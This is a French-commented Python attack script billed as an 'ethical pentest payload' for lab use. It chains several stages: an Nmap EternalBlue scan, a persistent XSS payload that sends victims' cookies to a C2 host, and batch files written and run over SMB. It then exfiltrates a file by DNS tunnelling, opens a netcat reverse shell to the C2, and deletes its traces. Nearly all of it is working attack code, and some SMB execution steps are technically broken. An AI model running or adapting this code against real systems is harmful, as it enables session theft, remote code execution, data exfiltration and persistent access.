#!/usr/bin/env python3
# Kraken's Embrace v2.0 - Ethical Pentest Payload
# Designed by Platon-Y for pctamalou.fr
# Objectif : Exécuter un pentest RÉEL et NON SÉCURISÉ pour montrer les dangers des failles
# Usage : UNIQUEMENT dans un lab contrôlé (VMs construites par l’utilisateur)
# Dangers : XSS vole sessions, SMB exécute du code, DNS exfiltre des données, shell persistant

import requests        # Pour les requêtes HTTP (ex. : exploiter XSS)
import smbclient      # Pour accéder aux partages SMB
import dns.resolver   # Pour le DNS tunneling
import base64         # Pour encoder en base64
import os             # Pour gérer les fichiers locaux
import time           # Pour des pauses
import logging        # Pour logger
import configparser   # Pour lire les configs
import subprocess     # Pour Nmap et commandes système
from itertools import chain  # Pour itérer sur les étapes
import socket         # Pour vérifier les connexions réseau
import urllib.parse   # Pour encoder les données exfiltrées

# Configurer le logging pour tracer toutes les actions
logging.basicConfig(
    filename='kraken.log',
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logging.info("=== Lancement de Kraken’s Embrace v2.0 ===")

# Charger la configuration
config = configparser.ConfigParser()
try:
    if not config.read('config.ini'):
        raise FileNotFoundError("config.ini manquant")
    TARGET_WEB = config['TARGETS']['web_server']  # Ex. : http://192.168.56.101
    TARGET_SMB = config['TARGETS']['smb_server']  # Ex. : 192.168.56.102
    C2_SERVER = config['TARGETS']['c2_server']    # Ex. : 192.168.56.1
    C2_PORT = int(config['TARGETS']['c2_port'])   # Ex. : 4444
    SMB_USER = config['CREDENTIALS']['smb_user']  # Ex. : admin
    SMB_PASS = config['CREDENTIALS']['smb_pass']  # Ex. : password123
    logging.info("Configuration chargée : %s, %s, %s:%d", TARGET_WEB, TARGET_SMB, C2_SERVER, C2_PORT)
except (FileNotFoundError, KeyError, ValueError) as e:
    logging.error("Erreur configuration : %s", e)
    print(f"[!] Erreur : config.ini manquant ou invalide. Créez-le avec TARGETS et CREDENTIALS.")
    exit(1)

# Vérifier l’environnement
def check_environment():
    """Vérifie les outils et librairies nécessaires."""
    logging.info("Vérification de l’environnement")
    print("[*] Vérification des prérequis...")
    checks = [
        ("Librairies Python", lambda: all(__import__(lib) for lib in ['requests', 'smbclient', 'dns.resolver'])),
        ("Nmap", lambda: subprocess.run(["nmap", "--version"], capture_output=True).returncode == 0),
        ("VirtualBox", lambda: subprocess.run(["VBoxManage", "--version"], capture_output=True).returncode == 0),
        ("C2 Server", lambda: check_c2_connection())
    ]
    for check_name, check_func in checks:
        try:
            if check_func():
                logging.info("%s OK", check_name)
                print(f"[✓] {check_name} OK")
            else:
                logging.warning("%s manquant", check_name)
                print(f"[!] {check_name} manquant. Installez-le (ex. : sudo apt install nmap).")
                return False
        except Exception as e:
            logging.error("Erreur vérification %s : %s", check_name, e)
            print(f"[!] Erreur {check_name} : {e}. Contactez admin@pctamalou.fr")
            return False
    logging.info("Environnement validé")
    print("[*] Environnement prêt !")
    return True

# Vérifier la connexion au serveur C2
def check_c2_connection():
    """Vérifie si le serveur C2 est accessible."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((C2_SERVER, C2_PORT))
        sock.close()
        return True
    except Exception as e:
        logging.error("Erreur C2 : %s", e)
        print(f"[!] Erreur : Impossible de se connecter au C2 {C2_SERVER}:{C2_PORT}. Vérifiez qu'il est en écoute.")
        return False

# Étape 1 : Reconnaissance
def recon():
    """Scanne le réseau avec Nmap pour identifier les cibles vulnérables."""
    logging.info("Début de la reconnaissance")
    print("[*] Scan réseau avec Nmap...")
    try:
        # Scan avancé avec détection de vulnérabilités SMB (ex. : EternalBlue)
        result = subprocess.run(
            ["nmap", "-sS", "-p-", "--script", "smb-vuln-ms17-010", "192.168.56.0/24", "-oN", "scan.txt"],
            capture_output=True, text=True, timeout=300
        )
        if result.returncode == 0:
            logging.info("Scan Nmap réussi. Résultats dans scan.txt")
            print("[+] Scan réussi ! Résultats dans scan.txt")
            with open("scan.txt", "r") as f:
                scan_output = f.read()
                if "VULNERABLE" in scan_output:
                    logging.info("Vulnérabilité SMB détectée (EternalBlue)")
                    print("[+] Vulnérabilité SMB détectée (EternalBlue) ! DANGER : Exploitation possible.")
                if TARGET_WEB.split("//")[-1] in scan_output and TARGET_SMB in scan_output:
                    logging.info("Cibles %s et %s détectées", TARGET_WEB, TARGET_SMB)
                    print("[+] Cibles détectées : %s, %s" % (TARGET_WEB, TARGET_SMB))
                    return True
                else:
                    logging.warning("Cibles non détectées dans le scan")
                    print("[!] Cibles non détectées. Vérifiez scan.txt.")
                    return False
        else:
            logging.error("Échec Nmap : %s", result.stderr)
            print("[!] Échec Nmap : %s" % result.stderr)
            return False
    except subprocess.TimeoutExpired:
        logging.error("Nmap a dépassé le temps limite")
        print("[!] Erreur : Nmap a dépassé le temps limite.")
        return False
    except Exception as e:
        logging.error("Erreur reconnaissance : %s", e)
        print(f"[!] Erreur reconnaissance : {e}. Vérifiez votre réseau.")
        return False

# Étape 2 : Infiltration via XSS
def infiltrate():
    """Exploite une faille XSS persistante pour voler des données réelles."""
    logging.info("Début infiltration XSS")
    print("[*] Tentative d’infiltration via XSS...")
    # Payload XSS qui vole les cookies et les envoie au serveur C2
    payload = f"<script>fetch('http://{C2_SERVER}:{C2_PORT}/steal?data='+encodeURIComponent(document.cookie));</script>"
    try:
        r = requests.post(f"{TARGET_WEB}/login", data={"username": payload}, timeout=5)
        if r.status_code == 200:
            r_check = requests.get(f"{TARGET_WEB}/login", timeout=5)
            if payload in r_check.text:
                logging.info("XSS persistante injectée")
                print("[+] XSS injectée ! DANGER : Cette faille vole les cookies et les envoie au C2.")
                return True
            else:
                logging.warning("XSS non persistante")
                print("[!] XSS non persistante. Vérifiez la vulnérabilité.")
                return False
        else:
            logging.warning("Échec XSS : code %s", r.status_code)
            print(f"[!] Échec XSS (code {r.status_code}). Vérifiez {TARGET_WEB}/login.")
            return False
    except requests.RequestException as e:
        logging.error("Erreur XSS : %s", e)
        print(f"[!] Erreur XSS : {e}. Assurez-vous que {TARGET_WEB} est accessible.")
        return False

# Étape 3 : Propagation via SMB
def propagate():
    """Écrit un script malveillant sur un partage SMB et exécute une commande."""
    logging.info("Début propagation SMB")
    print("[*] Propagation via SMB...")
    try:
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        # Écrire un script batch qui exécute une commande (ex. : ouvre calc.exe)
        malicious_script = r"\\{}\C$\Users\Public\kraken.bat".format(TARGET_SMB)
        script_content = "calc.exe\n"
        with smbclient.open_file(malicious_script, "w") as f:
            f.write(script_content)
        logging.info("Script %s déposé", malicious_script)
        print("[+] Script %s déposé. DANGER : SMB faible permet l'exécution de code !" % malicious_script)
        # Exécuter le script via SMB (simule PsExec)
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "put kraken.bat"])
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "cmd /c C:\\Users\\Public\\kraken.bat"])
        logging.info("Commande exécutée via SMB")
        print("[+] Commande exécutée via SMB ! DANGER : Accès total au système.")
        return True
    except Exception as e:
        logging.error("Erreur SMB : %s", e)
        print(f"[!] Erreur SMB : {e}. Vérifiez {TARGET_SMB} et les creds.")
        return False

# Étape 4 : Exfiltration via DNS
def exfiltrate():
    """Exfiltre des données réelles via DNS tunneling vers le C2."""
    logging.info("Début exfiltration DNS")
    print("[*] Exfiltration via DNS...")
    try:
        # Récupérer un fichier sensible depuis le partage SMB
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        sensitive_file = r"\\{}\C$\Secret\flag.txt".format(TARGET_SMB)
        with smbclient.open_file(sensitive_file, "r") as f:
            data = f.read()
        logging.info("Données sensibles récupérées : %s", data)
        print("[+] Données sensibles récupérées : %s" % data)
        # Exfiltrer via DNS
        max_chunk = 50
        encoded = base64.b64encode(data.encode()).decode()
        chunks = [encoded[i:i+max_chunk] for i in range(0, len(encoded), max_chunk)]
        for i, chunk in enumerate(chunks):
            domain = f"{chunk}.{i}.exfil.kraken.local"
            dns.resolver.resolve(domain, "A")
            logging.info("Fragment %d/%d exfiltré via %s", i+1, len(chunks), domain)
            print(f"[+] Fragment {i+1}/{len(chunks)} exfiltré. DANGER : Fuite réelle de données !")
            time.sleep(0.5)
        logging.info("Exfiltration DNS réussie")
        print("[+] Exfiltration DNS terminée.")
        return True
    except dns.resolver.NXDOMAIN:
        logging.error("Erreur DNS : Domaine non résolu")
        print("[!] Erreur DNS : Domaine non résolu. Configurez un DNS sur %s." % C2_SERVER)
        return False
    except Exception as e:
        logging.error("Erreur DNS : %s", e)
        print(f"[!] Erreur DNS : {e}. Vérifiez la configuration DNS.")
        return False

# Étape 5 : Escalade de privilèges via SMB
def escalate():
    """Exploite SMB pour obtenir un shell via PsExec."""
    logging.info("Début escalade de privilèges")
    print("[*] Escalade de privilèges via SMB...")
    try:
        # Générer un script PsExec pour ouvrir un shell
        shell_script = r"\\{}\C$\Users\Public\shell.bat".format(TARGET_SMB)
        shell_content = f"netcat {C2_SERVER} {C2_PORT} -e cmd.exe\n"
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        with smbclient.open_file(shell_script, "w") as f:
            f.write(shell_content)
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "put shell.bat"])
        subprocess.run(["smbclient", f"//{TARGET_SMB}/C$", "-U", f"{SMB_USER}%{SMB_PASS}", "-c", "cmd /c C:\\Users\\Public\\shell.bat"])
        logging.info("Shell ouvert via SMB")
        print("[+] Shell ouvert via SMB ! DANGER : Accès persistant au système.")
        return True
    except Exception as e:
        logging.error("Erreur escalade : %s", e)
        print(f"[!] Erreur escalade : {e}. Vérifiez les creds et le C2.")
        return False

# Étape 6 : Narration psychologique
def leave_manifesto():
    """Dépose un manifeste avec alertes sur les dangers et correctifs."""
    logging.info("Début dépôt du manifeste")
    print("[*] Dépôt du manifeste Kraken...")
    manifesto = """
Le Kraken ne détruit pas, il enseigne.
DANGERS DÉTECTÉS :
- XSS sur {web} : Sessions volées, données exfiltrées. PATCH : WAF (ModSecurity), filtrage des inputs.
- SMB sur {smb} : Exécution de code, shell persistant. PATCH : Mots de passe forts, MFA, désactiver SMBv1.
- DNS non monitoré : Exfiltration furtive. PATCH : Suricata, filtrage DNS.
Cherchez KRAKEN{{3th1c4l_H4ck1ng_42}} dans C:\\Secret\\flag.txt.
Patch maintenant, ou le Kraken reviendra.
- Platon-Y, Nomade Éthique (pctamalou.fr)
""".format(web=TARGET_WEB, smb=TARGET_SMB)
    try:
        with open("/tmp/kraken_manifesto.txt", "w") as f:
            f.write(manifesto)
        logging.info("Manifeste local : /tmp/kraken_manifesto.txt")
        print("[+] Manifeste local : /tmp/kraken_manifesto.txt")
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        with smbclient.open_file(r"\\{}\C$\Users\Public\manifesto.txt".format(TARGET_SMB), "w") as f:
            f.write(manifesto)
        logging.info("Manifeste SMB : C:\\Users\\Public\\manifesto.txt")
        print("[+] Manifeste SMB : C:\\Users\\Public\\manifesto.txt")
        return True
    except Exception as e:
        logging.error("Erreur manifeste : %s", e)
        print(f"[!] Erreur manifeste : {e}. Manifeste local créé, SMB peut avoir échoué.")
        return False

# Étape 7 : Nettoyage
def cleanup():
    """Supprime toutes les traces."""
    logging.info("Début nettoyage")
    print("[*] Nettoyage des traces...")
    try:
        local_files = ["/tmp/kraken_manifesto.txt", "scan.txt"]
        for file in filter(os.path.exists, local_files):
            os.remove(file)
            logging.info("Fichier local %s supprimé", file)
            print(f"[+] Fichier {file} supprimé.")
        smbclient.register_session(TARGET_SMB, username=SMB_USER, password=SMB_PASS)
        smb_files = [
            r"\\{}\C$\Users\Public\kraken.bat".format(TARGET_SMB),
            r"\\{}\C$\Users\Public\shell.bat".format(TARGET_SMB),
            r"\\{}\C$\Users\Public\manifesto.txt".format(TARGET_SMB)
        ]
        for file in smb_files:
            try:
                smbclient.remove(file)
                logging.info("Fichier SMB %s supprimé", file)
                print(f"[+] Fichier SMB {file} supprimé.")
            except FileNotFoundError:
                pass
        logging.info("Nettoyage terminé")
        print("[+] Nettoyage terminé. Éthique respectée.")
        return True
    except Exception as e:
        logging.error("Erreur nettoyage : %s", e)
        print(f"[!] Erreur nettoyage : {e}. Vérifiez les permissions.")
        return False

# Générateur d’étapes
def pentest_steps():
    """Génère les étapes du pentest."""
    steps = [
        ("Reconnaissance", recon),
        ("Infiltration", infiltrate),
        ("Propagation", propagate),
        ("Exfiltration", exfiltrate),
        ("Escalade", escalate),
        ("Narration", leave_manifesto),
        ("Nettoyage", cleanup)
    ]
    for step_name, step_func in chain(steps):
        yield step_name, step_func

# Fonction principale
def main():
    """Exécute le pentest."""
    print("=== Kraken’s Embrace v2.0 - Pentest Éthique ===")
    print("[!] ATTENTION : Ce script exploite des failles RÉELLES et NON SÉCURISÉES.")
    print("[!] DANGER : Hors lab, il peut voler des données, exécuter du code, et ouvrir un shell.")
    print("[!] Usage UNIQUEMENT dans un lab contrôlé. Toute action hors lab est ILLÉGALE (Art. 323-1 à 323-7 CP).")
    logging.info("Démarrage du pentest")
    if not check_environment():
        logging.error("Environnement non prêt")
        print("[!] Environnement non prêt. Consultez le guide sur pctamalou.fr.")
        exit(1)
    time.sleep(2)
    for step_name, step_func in pentest_steps():
        logging.info("Exécution de %s", step_name)
        print(f"[*] Étape : {step_name}...")
        if not step_func():
            logging.warning("%s échoué", step_name)
            print(f"[-] {step_name} échoué. Consultez kraken.log.")
            if step_name != "Nettoyage":
                continue
            break
    logging.info("Pentest terminé")
    print("[*] Pentest terminé ! Rédigez votre rapport.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        logging.info("Interrompu par l’utilisateur")
        print("[!] Interrompu. Nettoyage en cours...")
        cleanup()
    except Exception as e:
        logging.error("Erreur critique : %s", e)
        print(f"[!] Erreur critique : {e}. Consultez kraken.log.")
        cleanup()